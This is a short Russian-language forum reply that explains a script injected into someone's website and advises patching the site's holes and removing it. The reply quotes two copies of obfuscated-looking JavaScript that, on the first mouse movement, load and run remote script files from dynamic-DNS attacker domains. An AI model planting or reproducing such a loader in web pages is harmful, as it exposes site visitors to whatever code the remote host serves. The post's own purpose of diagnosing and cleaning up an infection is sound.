[Rise]

MallSerg,

ProbablyNot, вот что он делает:

(function() {
	var url = 'http://2q0bw4b.lpjbikjwor.kicks-ass.net/g/';
	if (typeof window.xyzflag === 'undefined') {
		window.xyzflag = 0;
	}
	document.onmousemove = function() {
		if (window.xyzflag === 0) {
			window.xyzflag = 1;
			var head = document.getElementsByTagName('head')[0];
			var script = document.createElement('script');
			script.type = 'text/javascript';
			script.onreadystatechange = function () {
				if (this.readyState == 'complete') {
					window.xyzflag = 2;
				}
			};
			script.onload = function() {
				window.xyzflag = 2;
			};
			script.src = url + Math.random().toString().substring(3) + '.js';
			head.appendChild(script);
		}
	};
})();

(function() {
	var url = 'http://4t9vtudd.qujgxgulis.blogdns.com/g/';
	if (typeof window.xyzflag === 'undefined') {
		window.xyzflag = 0;
	}
	document.onmousemove = function() {
		if (window.xyzflag === 0) {
			window.xyzflag = 1;
			var head = document.getElementsByTagName('head')[0];
			var script = document.createElement('script');
			script.type = 'text/javascript';
			script.onreadystatechange = function () {
				if (this.readyState == 'complete') {
					window.xyzflag = 2;
				}
			};
			script.onload = function() {
				window.xyzflag = 2;
			};
			script.src = url + Math.random().toString().substring(3) + '.js';
			head.appendChild(script);
		}
	};
})();

Латай дыры на сайте и удаляй этот скрипт вот и всё...